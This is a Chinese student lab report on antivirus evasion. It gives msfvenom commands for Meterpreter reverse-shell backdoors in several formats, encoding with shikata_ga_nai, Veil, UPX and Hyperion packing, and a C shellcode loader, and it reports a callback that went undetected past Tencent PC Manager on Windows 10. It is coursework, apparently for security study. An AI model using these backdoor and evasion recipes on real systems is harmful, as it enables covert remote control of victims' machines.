Exp3-免杀原理
一、实验任务
-
方法
- 正确使用msf编码器
- msfvenom生成如jar之类的其他文件
- veil
- 加壳工具
- 使用C + shellcode编程
- 使用其他课堂未介绍方法
-
通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
-
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
- 杀软是如何检测出恶意代码的
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
- 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
- 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。
- 免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
- 免杀的基本方法有哪些?
- 改变特征码
- 只有EXE
- 加壳(压缩壳 加密壳)
- 有shellcode(像Meterpreter)
- 利用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译
- veil-evasion
- 半手工
- 只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技
- 加密通讯数据
- 操作模式
+ 基于内存操作
+ 减少对系统的修改
+ 加入混淆作用的正常功能代码 - 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
- 通讯方式
- 改变特征码
三、实验内容
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器
-
1.1 使用msf编码器生成后门程序及检测
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 -f exe > 20181209_backdoor.exe
-
验生成的20181209_backdoor.exe后门程序通过VirusTotal和VirSCAN进行检测
-
VirusTotal检测结果如下下:
-
一次编码
-
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=192.168.248.128 LPORT=1209 -f exe > 20181209test.exe
可以清楚地看到,70个查杀软件中有54个可以检测到这段恶意代码。
msfvenom多次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.248.128 LPORT=1209 -f exe > 20181209test.exe
可以清楚地看到,68个查杀软件中有48个可以检测到这段恶意代码。
1.2 msfvenom生成如jar之类的其他文件
- 输入指令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 > 20181209.jar
- VIRUSTOTAL检测
- 这个jar包61个程序中有35个程序检测到了恶意代码
1.3生成PHP后门程序
输入指令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 x> 20181209php.php
拖到VIRUSTOTAL中检测
这个PHP包58个程序中有18个程序检测到了恶意代码
1.4生成Android后门程
输入指令
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 x> 20181209android.apk
拖到VIRUSTOTAL中检测
这个APK包64个程序中有33个程序检测到了恶意代码
1.5生成jsp文件
输入指令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.128.248.128 LPORT=1209 x> 20181209jsp.jsp
拖到VIRUSTOTAL中检测
这个JSP包60个程序中有35个程序检测到了恶意代码
2.veil
2.1 veil的安装过程及问题解决
输入sudo apt-get install veil
安装veil
安装成功后,输入veil
,然后会弹出Python的安装界面。
点击next
之后页面卡住了
输入use evasion
命令进入veil-evasion
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
-
置反弹连接IP地址(kali的IP)
set LHOST 192.168.248.128
-
设置端口`
set LPORT 1209
输入generate
生成文件,接着输入生成的playload的名称veil_c_1209
,保存路径为:/var/lib/veil/output/source/veil_c_1209.exe
结果无意外
2.2加壳工具
压缩壳:upx
upx 20181209test.exe -o 20181209upxed.exe
- 扫一下,试一下 拖到VIRUSTOTAL中检测
加密壳:Hyperion
-
将要加密的恶意代码拉到
/usr/share/windows-resouces/hyperion/
-
进入
/usr/share/windows-resources/hyperion/
-
执行
wine hyperion.exe -v 20181209upxd.exe 20181209hyperionupxd.exe
使用VirusTotal进行扫描
2.3使用C + shellcode编程
首先用C语言生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 -f c
创建一个20181209.c文件,并且将刚才生成的unsigned char buf放进去
使用命令:i686-w64-mingw32-g++ 20181209.c -o 20181209.exe
编译这个.c文件为可执行文件
使用VirusTotal进行扫描
3.通过组合应用各种技术实现恶意代码免杀
·选用shellcode+加壳试一下
·首先用C语言生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 -f c
创建一个20181209.c文件,并且将刚才生成的unsigned char buf放进去
使用命令:i686-w64-mingw32-g++ 20181209.c -o 20181209.exe
编译这个.c文件为可执行文件
在经历压缩壳
upx 20181209.exe -o 20181209upxd2.exe
在经历加密壳:Hyperion
-
将要加密的恶意代码拉到
/usr/share/windows-resources/hyperion/
-
进入
/usr/share/windows-resources/hyperion/
-
执行
sudo wine hyperion.exe -v 20181209upxd.exe 20181209hyperionupxd2.exe
扫描 未发现 嘿嘿 好像是成功了
4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
与之前实验二步骤相同
-
使用Msfvenom生成raw格式的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.248.1 lport=1209 -f raw -o 20181209.raw
-
打开msfconsole进行监听,输入以下指令:
use exploit/multi/handler //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload
set LHOST 192.168.248.128 //Linux端的IP地址
set LPORT 1209 //与之前输入的端口号一致
exploit //开始监听
-
在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20181209.raw
-
观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20181209.raw通过检测。
会连成功 没有发现
两个风险为残留快捷方式
- Windows版本:Windows 10;杀软:腾讯管家
四、实践总结与体会
做这个实验的时候,对上一个实验理解更透彻了,运用也更熟练了。 这个实验证实了我一直就有的想法,杀毒软件有的时候其实没什么用,真正可怕的木马发现不了,想安装的软件倒是被拦截了不少。我觉得实验会越来越有意思,也越来越充满挑战,从制作一个小木马到关闭杀毒软件控制主机,再到开启杀毒软件能控制主机,依旧期待之后的实验。对于实验思路还是比较清晰的,就是在实现的时候......水平令人难过。
开启杀软能绝对防止电脑中恶意代码吗?
我认为杀软在一定程度上防止某些恶意代码,但不可能是防止所有的恶意代码。
恶意代码层出不穷,我们需要经常更新杀软,这样我们才能用杀软防御一些没有见过的恶意代码。